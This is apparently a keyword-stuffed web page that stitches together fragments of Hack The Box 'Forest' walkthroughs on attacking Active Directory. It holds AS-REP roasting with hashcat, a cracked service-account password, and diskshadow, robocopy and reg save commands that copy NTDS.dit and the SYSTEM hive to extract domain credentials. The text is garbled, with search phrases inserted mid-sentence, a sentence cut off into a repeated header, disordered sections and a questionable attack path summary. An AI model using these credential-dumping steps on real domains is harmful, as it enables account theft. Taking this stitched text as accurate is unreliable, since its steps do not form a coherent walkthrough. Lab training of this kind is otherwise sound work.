Forest Hackthebox Walkthrough Best · Works 100%

Penetration Test Report: Forest (HTB)

Target IP: 10.10.10.161 (example – use your assigned IP)
Date: [Current Date]
Attacker IP: 10.10.14.x (your VPN IP)
Difficulty: Easy
OS: Windows
Category: Active Directory

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Step 3: Crack the Hash

Save the hash and crack it with hashcat (mode 18200 for AS-REP hashes).

hashcat -m 18200 asreproast.hashes /usr/share/wordlists/rockyou.txt --force

Result: s3rvice (password for svc-alfresco)

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7. Attack Path Summary

Anonymous enumeration
    ↓
LDAP / RPC user list
    ↓
AS-REP Roasting → svc-alfresco creds
    ↓
WinRM access → User flag
    ↓
SeMachineAccountPrivilege + GenericWrite
    ↓
Add machine account → Set SPN on Admin → Kerberoast
    ↓
Crack Admin hash → WinRM as Administrator → Root flag

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8. Dump NTDS.dit & SYSTEM hive

Method using diskshadow + robocopy (in WinRM): forest hackthebox walkthrough best

# Create shadow copy
diskshadow> set context persistent nowriters
diskshadow> add volume c: alias someAlias
diskshadow> create
diskshadow> expose %someAlias% z:
diskshadow> exit

Now copy files:

robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\system system.save

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The Exploitation Chain (AS-REP Roasting)

Once the users are identified, Forest introduces one of the most prevalent Active Directory attacks: AS-REP Roasting.

This is where the machine shines. It forces the user to understand Kerberos pre-authentication. Penetration Test Report: Forest (HTB) Target IP: 10

1. Identify the Vulnerability: Using tools like GetNPUsers.py (from Impacket), the attacker checks which users have the "Do not require Kerberos pre-authentication" setting enabled.
2. The Hash: Successfully capturing an AS-REP hash provides a tangible reward for the enumeration work.
3. Cracking: Throwing the hash at Hashcat reveals the initial credentials.

This phase is brilliantly designed because it teaches the "why" behind the exploit. It demonstrates that default AD configurations are often insecure and that a single misconfigured user attribute can lead to a foothold.

Walkthrough Review: HackTheBox’s “Forest”

Machine Name: Forest OS: Windows Difficulty: Easy Release Date: October 2019 Retired Status: Yes

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Import

Import-Module .\powerview.ps1

Privilege Esculation

We are logged in as a service account, but we need Administrator access to read the root flag or fully compromise the domain.

Step 1: Enumerate Current Privileges

From the WinRM session, run:

whoami /all
net user svc-alfresco

We see the user belongs to Service Accounts and Privileged IT Accounts, but more importantly, we need to check group memberships recursively. Step 3: Crack the Hash Save the hash